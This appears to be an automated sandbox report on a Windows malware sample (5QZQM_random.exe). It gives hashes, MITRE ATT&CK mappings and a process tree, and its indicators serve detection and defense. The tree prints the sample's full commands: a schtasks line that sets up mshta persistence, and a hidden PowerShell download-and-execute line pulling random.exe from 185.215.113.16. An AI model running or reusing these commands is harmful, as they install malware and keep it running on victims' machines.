1723bd9dd8938f0a1d3cd89fe50a54f8538d4961c2a15d385e94f0e0f36d9be7

General

Target

5QZQM_random.exe
Size

938KB
MD5

2a652936c15591f45c63a9c6c01ed212
SHA1

5dad7de67525e4b6f3ed8e5d6f4257943eac7c62
SHA256

1723bd9dd8938f0a1d3cd89fe50a54f8538d4961c2a15d385e94f0e0f36d9be7
SHA512

64981162e2202c9ed051f5e9a8a04f5760c382fd42a77be3625f6194419f0ee596fb86b68d8a7f8c57b9aa9a4c4dbc90aee1cc69884d45cd572958e2e0b9517f
SSDEEP

24576:+qDEvCTbMWu7rQYlBQcBiT6rprG8ay0F:+TvC/MTQYxsWR7ay0

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.215.113.16/mine/random.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	3852	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3852	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
34	364	Process not Found
7	3852	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3296967594-3563063956-581523229-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5QZQM_random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3572	MicrosoftEdgeUpdate.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4148	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3852	powershell.exe
3852	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3852	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1452	5QZQM_random.exe
1452	5QZQM_random.exe
1452	5QZQM_random.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1452	5QZQM_random.exe
1452	5QZQM_random.exe
1452	5QZQM_random.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 1920	1452	5QZQM_random.exe	89
PID 1452 wrote to memory of 1920	1452	5QZQM_random.exe	89
PID 1452 wrote to memory of 1920	1452	5QZQM_random.exe	89
PID 1452 wrote to memory of 4480	1452	5QZQM_random.exe	90
PID 1452 wrote to memory of 4480	1452	5QZQM_random.exe	90
PID 1452 wrote to memory of 4480	1452	5QZQM_random.exe	90
PID 1920 wrote to memory of 4148	1920	cmd.exe	92
PID 1920 wrote to memory of 4148	1920	cmd.exe	92
PID 1920 wrote to memory of 4148	1920	cmd.exe	92
PID 4480 wrote to memory of 3852	4480	mshta.exe	94
PID 4480 wrote to memory of 3852	4480	mshta.exe	94
PID 4480 wrote to memory of 3852	4480	mshta.exe	94

C:\Users\Admin\AppData\Local\Temp\5QZQM_random.exe
"C:\Users\Admin\AppData\Local\Temp\5QZQM_random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn NpghkmaxE8b /tr "mshta C:\Users\Admin\AppData\Local\Temp\oIbPWwHMT.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn NpghkmaxE8b /tr "mshta C:\Users\Admin\AppData\Local\Temp\oIbPWwHMT.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4148
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\oIbPWwHMT.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'NP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3852

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NzEwRTg2NjUtQUQ0RS00MUQ5LThCMDItRTdERjExNEE3NkJFfSIgdXNlcmlkPSJ7QUI4NzU4NEQtQTRBOS00QkY3LTg3NzYtQ0ZGMjVCM0Y2MkMyfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7RTk5MDMwNjgtNzQ5Mi00OTc5LTk1NjAtNDE5NDA4QkQ1QUJEfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI0IiBpbnN0YWxsZGF0ZXRpbWU9IjE3MzkyODIxNjkiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4Mzc1MzE4NTEwMTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1Mjc3Mjk4NzI2Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:3572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4cl3kzgp.vzt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\oIbPWwHMT.hta

Filesize
720B

MD5
c6910aed9f6537768f85e6410cbbd8ee

SHA1
9ac3ba2b01f0e19f9718f74108a5fb0f52691e3b

SHA256
1e2daf6bca2110c968aae773c7b92a10d7122fd2fa07edb5054d35226e873571

SHA512
af3a7732969935749fee625794944be4164436c4802dd82f05e664c0f8bf588245c5cceb38a5c3e176508bbc3772a13f5e2d46db9b583fb4c3e2f8f0d8c6d9ec

Download Submit
memory/3852-2-0x0000000002D80000-0x0000000002DB6000-memory.dmp

Filesize
216KB

Download
memory/3852-3-0x00000000055F0000-0x0000000005C18000-memory.dmp

Filesize
6.2MB

Download
memory/3852-4-0x00000000053A0000-0x00000000053C2000-memory.dmp

Filesize
136KB

Download
memory/3852-5-0x0000000005C20000-0x0000000005C86000-memory.dmp

Filesize
408KB

Download
memory/3852-6-0x0000000005D40000-0x0000000005DA6000-memory.dmp

Filesize
408KB

Download
memory/3852-16-0x0000000005F10000-0x0000000006264000-memory.dmp

Filesize
3.3MB

Download
memory/3852-17-0x0000000006360000-0x000000000637E000-memory.dmp

Filesize
120KB

Download
memory/3852-18-0x00000000068D0000-0x000000000691C000-memory.dmp

Filesize
304KB

Download
memory/3852-19-0x0000000007A60000-0x00000000080DA000-memory.dmp

Filesize
6.5MB

Download
memory/3852-20-0x0000000006840000-0x000000000685A000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads